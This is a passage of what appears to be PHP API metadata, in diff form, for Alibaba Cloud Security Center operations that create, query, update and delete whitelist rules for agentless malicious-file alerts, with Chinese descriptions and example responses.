\\"5c081b02-f66a-47a4-bd2f-79ee3eaf806a\\",\\n \\"GroupId\\": 11028551,\\n \\"MachineIp\\": \\"121.41.XX.XX\\",\\n \\"AllowSelected\\": 1,\\n \\"Selected\\": 0,\\n \\"Id\\": 1001,\\n \\"MachineName\\": \\"test\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询白名单服务器', + 'description' => '应用白名单为公测功能，目前已不再支持申请该功能。已申请或正在使用中的用户可以正常调用该接口。', + ], + 'DeleteMaliciousFileWhitelistConfig' => [ + 'summary' => '删除无代理检测敏感文件告警加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '184428', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '无代理检测敏感文件告警加白规则ID。可调用[ListMaliciousFileWhitelistConfigs](~~ListMaliciousFileWhitelistConfigs~~)获取敏感文件加白规则的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'docRequired' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D03DD0FD-6041-5107-AC00-383E28F1****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"D03DD0FD-6041-5107-AC00-383E28F1****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '删除无代理检测敏感文件告警加白规则', + ], + 'BatchDeleteMaliciousFileWhitelistConfig' => [ + 'summary' => '批量删除无代理检测敏感文件告警加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '184623', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigIdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '文件加白规则 id 列表', + 'description' => '敏感文件加白规则ID列表。调用[ListMaliciousFileWhitelistConfigs](~~ListMaliciousFileWhitelistConfigs~~)获取敏感文件加白规则的ID。', + 'type' => 'array', + 'items' => [ + 'description' => '敏感文件加白规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回附加消息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + 'HttpStatusCode' => [ + 'description' => '请求状态码，返回200代表请求成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '批量删除无代理检测敏感文件告警加白规则', + ], + 'UpdateMaliciousFileWhitelistConfig' => [ + 'summary' => '修改无代理检测敏感文件告警加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigId', + 'in' => 'query', + 'schema' => [ + 'title' => '规则id，可选，不传则新增', + 'description' => '规则ID，选填，不传入则会新增加白规则。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'title' => '告警名称， ALL-全部告警', + 'description' => '告警名称：'."\n" + .'- ALL： 全部告警类型', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'Field', + 'in' => 'query', + 'schema' => [ + 'title' => '字段', + 'description' => '加白的字段。', + 'type' => 'string', + 'required' => false, + 'example' => 'fileMd5', + ], + ], + [ + 'name' => 'Operator', + 'in' => 'query', + 'schema' => [ + 'title' => '操作符', + 'description' => '规则判定操作符：'."\n" + .'- strEqual：字符串相等', + 'type' => 'string', + 'required' => false, + 'example' => 'strEqual', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'title' => '值', + 'description' => '加白的字段值。', + 'type' => 'string', + 'required' => false, + 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'title' => '生效目标类型，ALL-全部资产，SELECTION_KEY 选中的资产', + 'description' => '生效目标类型：'."\n" + .'- ALL：全部资产'."\n" + .'- SELECTION_KEY：通过资产选择组件选中的资产', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'TargetValue', + 'in' => 'query', + 'schema' => [ + 'title' => '生效目标值', + 'description' => '目标生效范围：'."\n" + .'- ALL：全部资产'."\n" + .'- 其他：资产选择组件选中的资产范围Key', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'title' => '文件来源', + 'description' => '业务来源：'."\n" + .'- agentless：无代理检测', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'title' => '备注', + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'DuplicateRule', + 'errorMessage' => 'Duplicated rule, please check whether the same rule already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '修改无代理检测敏感文件告警加白规则', + ], + 'BatchUpdateMaliciousFileWhitelistConfig' => [ + 'summary' => '批量修改无代理检测敏感文件告警加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '184624', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '无代理检测敏感文件告警加白规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '单条无代理检测敏感文件告警加白规则记录。', + 'type' => 'object', + 'properties' => [ + 'ConfigId' => [ + 'title' => '规则id，可选，不传则新增', + 'description' => '无代理检测敏感文件告警加白规则ID，可选，不传代表新增规则。可调用[ListMaliciousFileWhitelistConfigs](~~ListMaliciousFileWhitelistConfigs~~)获取敏感文件加白规则的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + 'EventName' => [ + 'title' => '告警名称， ALL-全部告警', + 'description' => '告警名称：'."\n" + .'- **ALL**： 全部告警类型', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + 'Field' => [ + 'title' => '字段', + 'description' => '敏感文件告警中用于加白判定的字段。', + 'type' => 'string', + 'required' => false, + 'example' => 'fileMd5', + ], + 'Operator' => [ + 'title' => '操作符', + 'description' => '规则判定操作符：'."\n" + .'- strEqual：字符串相等', + 'type' => 'string', + 'required' => false, + 'example' => 'strEqual', + ], + 'FieldValue' => [ + 'title' => '值', + 'description' => '预期加白的字段值。', + 'type' => 'string', + 'required' => false, + 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', + ], + 'TargetType' => [ + 'title' => '生效目标类型，ALL-全部资产，SELECTION_KEY 选中的资产', + 'description' => '生效目标类型：'."\n" + .'- ALL：全部资产'."\n" + .'- SELECTION_KEY：通过资产选择组件选中的资产', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + 'TargetValue' => [ + 'title' => '生效目标值', + 'description' => '目标生效范围：'."\n" + .'- ALL：全部资产'."\n" + .'- 其他：资产选择组件选中的资产范围Key', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + 'Source' => [ + 'title' => '文件来源', + 'description' => '业务来源：'."\n" + .'- agentless：无代理检测', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => 'BaseResult', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + [ + 'errorCode' => 'DuplicateRule', + 'errorMessage' => 'Duplicated rule, please check whether the same rule already exists.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DDCAE1\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '批量修改无代理检测敏感文件告警加白规则', + ], + 'CreateMaliciousFileWhitelistConfig' => [ + 'summary' => '创建无代理检测敏感文件告警加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasON13NY', + ], + ], + 'parameters' => [ + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'title' => '告警名称， ALL-全部告警', + 'description' => '告警名称：'."\n" + .'- ALL：全部告警', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'Field', + 'in' => 'query', + 'schema' => [ + 'title' => '字段', + 'description' => '敏感文件告警中用于加白判定的字段。', + 'type' => 'string', + 'required' => false, + 'example' => 'fileMd5', + ], + ], + [ + 'name' => 'Operator', + 'in' => 'query', + 'schema' => [ + 'title' => '操作符', + 'description' => '规则判定操作符：'."\n" + .'- strEqual：字符串相等', + 'type' => 'string', + 'required' => false, + 'example' => 'strEqual', + ], + ], + [ + 'name' => 'FieldValue', + 'in' => 'query', + 'schema' => [ + 'title' => '值', + 'description' => '预期加白的字段值。', + 'type' => 'string', + 'required' => false, + 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'title' => '生效目标类型，ALL-全部资产，SELECTION_KEY 选中的资产', + 'description' => '生效目标类型：'."\n" + .'- ALL：全部资产'."\n" + .'- SELECTION_KEY：通过资产选择组件选中的资产', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'TargetValue', + 'in' => 'query', + 'schema' => [ + 'title' => '生效目标值', + 'description' => '目标生效范围：'."\n" + .'- ALL：全部资产'."\n" + .'- 其他：资产选择组件选中的资产范围Key', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'title' => '文件来源', + 'description' => '业务来源：'."\n" + .'- agentless：无代理检测', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'title' => '备注。', + 'description' => '备注。', + 'type' => 'string', + 'required' => false, + 'example' => 'whitelist', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'GmtCreate' => [ + 'title' => '创建时间', + 'description' => '创建时间。', + 'type' => 'string', + 'example' => '1671607025000', + ], + 'GmtModified' => [ + 'title' => '修改时间', + 'description' => '修改时间。', + 'type' => 'string', + 'example' => '1671607025000', + ], + 'EventName' => [ + 'title' => '告警名称', + 'description' => '告警名称：'."\n" + .'- ALL： 全部告警类型', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Field' => [ + 'title' => '加白字段', + 'description' => '加白的字段。', + 'type' => 'string', + 'example' => 'fileMd5', + ], + 'FieldValue' => [ + 'title' => '加白字段值', + 'description' => '加白的字段值。', + 'type' => 'string', + 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', + ], + 'Operator' => [ + 'title' => '判定操作符', + 'description' => '规则判定操作符：'."\n" + .'- strEqual：字符串相等', + 'type' => 'string', + 'example' => 'strEqual', + ], + 'TargetValue' => [ + 'title' => '加白范围，资产选择key', + 'description' => '目标生效范围：'."\n" + .'- ALL：全部资产'."\n" + .'- 其他：资产选择组件选中的资产范围Key', + 'type' => 'string', + 'example' => 'ALL', + ], + 'TargetType' => [ + 'title' => '范围类型, ALL-全部资产 SELECTION_KEY- 资产选择key', + 'description' => '生效目标类型：'."\n" + .'- ALL：全部资产'."\n" + .'- SELECTION_KEY：通过资产选择组件选中的资产', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Count' => [ + 'title' => 'target type 为 SELECTION_KEY 的情况下，此字段有值', + 'description' => '生效的资产数量。'."\n" + .'> targetType 为 SELECTION_KEY 的情况下，此字段有值', + 'type' => 'string', + 'example' => '1', + ], + 'Source' => [ + 'title' => '告警来源', + 'description' => '业务来源：'."\n" + .'- agentless：无代理检测', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '返回结果的提示信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"GmtCreate\\": \\"1671607025000\\",\\n \\"GmtModified\\": \\"1671607025000\\",\\n \\"EventName\\": \\"ALL\\",\\n \\"Field\\": \\"fileMd5\\",\\n \\"FieldValue\\": \\"b2cf9747ee49d8d9b105cf16e078cc16\\",\\n \\"Operator\\": \\"strEqual\\",\\n \\"TargetValue\\": \\"ALL\\",\\n \\"TargetType\\": \\"ALL\\",\\n \\"Count\\": \\"1\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Id\\": \\"1\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '创建无代理检测敏感文件告警加白规则', + ], + 'GetMaliciousFileWhitelistConfig' => [ + 'summary' => '查询无代理检测敏感文件告警加白规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '184426', + 'abilityTreeNodes' => [ + 'FEATUREsas731ZAS', + ], + ], + 'parameters' => [ + [ + 'name' => 'ConfigId', + 'in' => 'query', + 'schema' => [ + 'description' => '无代理检测敏感文件告警加白规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'GmtCreate' => [ + 'title' => '创建时间', + 'description' => '创建时间。', + 'type' => 'string', + 'example' => '1671607025000', + ], + 'GmtModified' => [ + 'title' => '修改时间', + 'description' => '修改时间。', + 'type' => 'string', + 'example' => '1674095396000', + ], + 'EventName' => [ + 'title' => '告警名称', + 'description' => '告警名称：'."\n" + .'- ALL：全部告警类型', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Field' => [ + 'title' => '加白字段', + 'description' => '加白的字段。', + 'type' => 'string', + 'example' => 'fileMd5', + ], + 'FieldValue' => [ + 'title' => '加白字段值', + 'description' => '加白的字段值。', + 'type' => 'string', + 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', + ], + 'Operator' => [ + 'title' => '判定操作符', + 'description' => '规则判定操作符：'."\n" + .'- strEqual：字符串相等', + 'type' => 'string', + 'example' => 'strEqual', + ], + 'TargetValue' => [ + 'title' => '加白范围，资产选择key', + 'description' => '目标生效范围：'."\n" + .'- ALL：全部资产'."\n" + .'- 其他：资产选择组件选中的资产范围Key', + 'type' => 'string', + 'example' => 'ALL', + ], + 'TargetType' => [ + 'title' => '范围类型, ALL-全部资产 SELECTION_KEY- 资产选择key', + 'description' => '生效目标类型：'."\n" + .'- ALL：全部资产'."\n" + .'- SELECTION_KEY：通过资产选择组件选中的资产', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Count' => [ + 'title' => 'target type 为 SELECTION_KEY 的情况下，此字段有值', + 'description' => '生效的资产数量。'."\n" + .'>说明 targetType 为 SELECTION_KEY 的情况下，此字段有值', + 'type' => 'string', + 'example' => '0', + ], + 'Source' => [ + 'title' => '告警来源', + 'description' => '业务来源：'."\n" + .'- agentless：无代理检测', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Id' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '附加信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP请求返回的响应状态码，200表示请求发送成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + [ + 'errorCode' => 'UnknownError', + 'errorMessage' => 'UnknownError', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"GmtCreate\\": \\"1671607025000\\",\\n \\"GmtModified\\": \\"1674095396000\\",\\n \\"EventName\\": \\"ALL\\",\\n \\"Field\\": \\"fileMd5\\",\\n \\"FieldValue\\": \\"b2cf9747ee49d8d9b105cf16e078cc16\\",\\n \\"Operator\\": \\"strEqual\\",\\n \\"TargetValue\\": \\"ALL\\",\\n \\"TargetType\\": \\"ALL\\",\\n \\"Count\\": \\"0\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Id\\": 1\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询无代理检测敏感文件告警加白规则', + ], + 'ListMaliciousFileWhitelistConfigs' => [ + 'summary' => '查询无代理检测敏感文件告警加白规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '184430', + 'abilityTreeNodes' => [ + 'FEATUREsasNB8R24', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'title' => '文件来源，默认为 agentless', + 'description' => '业务来源，可为空，默认为agentless。', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '返回数据当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'EventName', + 'in' => 'query', + 'schema' => [ + 'description' => '告警名称：'."\n" + .'- ALL： 全部告警类型', + 'type' => 'string', + 'required' => false, + 'example' => 'ALL', + ], + ], + [ + 'name' => 'IdList', + 'in' => 'query', + 'schema' => [ + 'description' => '事件ID。'."\n" + ."\n" + .'>字段已废弃。>', + 'type' => 'integer', + 'format' => 'int64', + 'deprecated' => true, + 'required' => false, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '无代理检测文件告警加白规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '无代理检测文件告警加白规则。', + 'type' => 'object', + 'properties' => [ + 'GmtCreate' => [ + 'title' => '创建时间', + 'description' => '创建时间。', + 'type' => 'string', + 'example' => '1691719662000', + ], + 'GmtModified' => [ + 'title' => '修改时间', + 'description' => '修改时间。', + 'type' => 'string', + 'example' => '1691719662000', + ], + 'EventName' => [ + 'title' => '告警名称', + 'description' => '告警名称：'."\n" + .'- ALL： 全部告警类型', + 'type' => 'string', + 'example' => 'ALL', + ], + 'Field' => [ + 'title' => '加白字段', + 'description' => '加白的字段。', + 'type' => 'string', + 'example' => 'fileMd5', + ], + 'FieldValue' => [ + 'title' => '加白字段值', + 'description' => '加白的字段值。', + 'type' => 'string', + 'example' => 'b2cf9747ee49d8d9b105cf16e078cc16', + ], + 'Operator' => [ + 'title' => '判定操作符', + 'description' => '规则判定操作符：'."\n" + .'- strEqual：字符串相等', + 'type' => 'string', + 'example' => 'strEqual', + ], + 'TargetValue' => [ + 'title' => '加白范围，资产选择key', + 'description' => '目标生效范围：'."\n" + .'- ALL：全部资产'."\n" + .'- 其他：资产选择组件选中的资产范围Key', + 'type' => 'string', + 'example' => 